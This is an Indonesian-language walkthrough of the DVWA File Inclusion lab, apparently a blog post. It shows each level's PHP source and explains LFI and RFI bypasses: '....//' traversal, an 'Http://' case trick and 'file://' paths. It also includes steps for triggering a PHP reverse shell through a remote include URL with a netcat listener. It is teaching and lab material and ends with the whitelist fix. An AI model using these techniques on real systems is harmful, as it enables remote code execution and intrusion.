File Inclusion adalah kerentanan di mana penyerang dapat memanipulasi input untuk membuat aplikasi memasukkan (include) file yang tidak seharusnya, sehingga file tersebut dibaca atau bahkan dijalankan oleh server.

Perbedaan jenis File Inclusion

Dalam File Inclusion terdapat dua jenis utama:

  1. Local File Inclusion (LFI): File diambil dari dalam server itu sendiri
  2. Remote File Inclusion (RFI): File diambil dari luar server (internet)

Analogi File Inclusion

Analogi File Inclusion dapat dibayangkan seperti sebuah sistem yang memungkinkan pengguna memilih halaman dari sebuah buku untuk ditampilkan, tetapi tanpa pengecekan yang baik terhadap pilihan tersebut. Jika pengguna memilih halaman yang benar, sistem akan menampilkan isi yang sesuai. Namun, jika penyerang memanipulasi input, ia bisa memaksa sistem untuk membuka halaman lain yang seharusnya tidak boleh diakses, bahkan dari luar buku tersebut. Dalam konteks ini, server bertindak sebagai pembaca buku, input pengguna sebagai nomor halaman, dan kerentanannya terletak pada tidak adanya validasi terhadap halaman yang dipilih.

Dampak File Inclusion

Dampak File Inclusion bisa sangat berbahaya, antara lain:

  1. Membaca file sensitif (misalnya konfigurasi atau password)
  2. Mengungkap struktur sistem server
  3. Mendapatkan informasi database
  4. Eksekusi kode berbahaya (terutama pada RFI)
  5. Mendapatkan akses shell (remote access)

Objektif

None

Dengan memanfaatkanFile Inclusion (LFI), kita dapat mengakses file ../hackable/flags/fi.php dan menampilkan isi file tersebut.

Low:

Pada level low dapat dilihat bahwa tidak ada proteksi apapun yang diimplementasikan oleh developer, developer hanya mengambil user input dan meneksekusinya.

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

LFI

berdasarkan objektif dari level ini, kita harus menampilkan 5 quotes terkenal yang ada di dalam module ini. Untuk level low, kita bisa hanya mundur satu direktori saja.

None

RFI

Pada metode RFI, kita juga dapat menggunakan reverse shell yang sudah ada di kali linux.

Step 1:

Kita hanya perlu cari filenya dengan locate shell.php, lalu kita pilih shell file yang kita perlukan. Untuk level ini, saya menggunakan php-reverse-shell.php

None

Step 2:

Kita hanya perlu copy paste saja ke folder yang kita inginkan dengan cp spasi original file pathnya apa spasi paste ke folder baru yang kita inginkan.

None

Step 3:

Dalam file yang telah kita paste, kita harus mengganti bagian $ip dan $port, sesuaikan dengan ipv4 kali linux anda dan port dari listener yang anda akan set up.

None

Step 4: Nyalakan server python untuk transfer file dari linux ke sistem

None

Step 5:

Nyalakan netcat sebagai listener dan pasang di port 1234 sesuai dengan scrip reverse shell anda.

None

Step 6:

Untuk trigger reverse shell-nya kita dapat memasukan link http://192.168.20.122/php-reverse-shell.php

None

Step 7:

Jika kita balik ke nc listener maka kita sudah dapat berinteraksi dengan shell, dan membuka fi.php.

None

Medium

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?> 

Pada level Medium, sistem mengambil input dari user lalu mencoba "mengamankannya" dengan mengganti string "http://" dan "https://" menjadi string ksoong "" untuk mencegah Remote File Inclusion (RFI), serta mengganti string "../" dan "..\" menjadi string ksoong "", untuk mencegah kemungkingan LFI. Namun pendekatan ini lemah karena hanya menggunakan str_replace, sehingga masih bisa dibypass dengan teknik seperti encoding, variasi penulisan, atau manipulasi input lain — artinya proteksi ini tidak benar-benar aman dan masih bisa dieksploitasi.

None

Diatas merupakan hasil jika kita menggunakan metode sebelumnya, tampilan akan berubah kosong.

LMI

None

Seperti gambar diatas kita mengakalinya dengan menggunakan ….//….// pada sistem perintah ini akan menajadi ../../ karena adanya function str_replace().

RMI

Untuk metode RMI pada level ini pun kita juga harus ubah sedikit pada sebelumnya, karena kita tau di dalam source code string yang terfilter adalah "http://" dan "https://", maka kita bisa ubah menjadi "Http://"

None

Untuk server kita nyalakan sama seperti level sebelumnya.

None

Begitu juga untuk listener, sama seperti pada level sebelumnya

None

Unutk reverse shell kita juga tidak ubah karena ipv4 dan port yang digunakan masih sama, dan tidak berubah.

High

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

Pada level high, sistem membatasi input dengan mengecek dengan fnmatch (file name match), function ini mengecek apakah nilai page diawali dengan "file" atau "include.php" jika tidak, maka akses ditolak dengan error. Artinya hanya file seperti file1.php, file2.php, dll yang diizinkan. Namun validasi ini masih lemah karena hanya melihat pola awal nama file, sehingga masih bisa dibypass dengan teknik manipulasi input

None

ini contoh error code jika kita menggunakan metode sebelumnya, maka akan ada ERROR:File not found!

None

Untuk itu kita dapa menanggulanginya dengan menambahkan "file://" pada awalan payload, selain itu berbeda dengan metode-metode sebelumnya, kali ini kita harus memasukan full file path, untuk mendapatkan full file path kita bisa menggunakan locate seperti dibawah ini.

None

Impossible

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

Pada level impossible, sistem menggunakan whitelist (daftar izin) yang ketat dengan hanya mengizinkan file dengan nama tertentu saja, yaitu include.php, file1.php, file2.php, dan file3.php. Jika input page tidak persis sama dengan salah satu dari nilai tersebut, maka akan langsung ditolak. Pendekatan ini jauh lebih aman dibanding sebelumnya karena tidak lagi mencoba "membersihkan" input, tetapi membatasi pilihan secara eksplisit, sehingga teknik bypass seperti pada level-level sebelumnya tidak lagi dapat menembus level ini.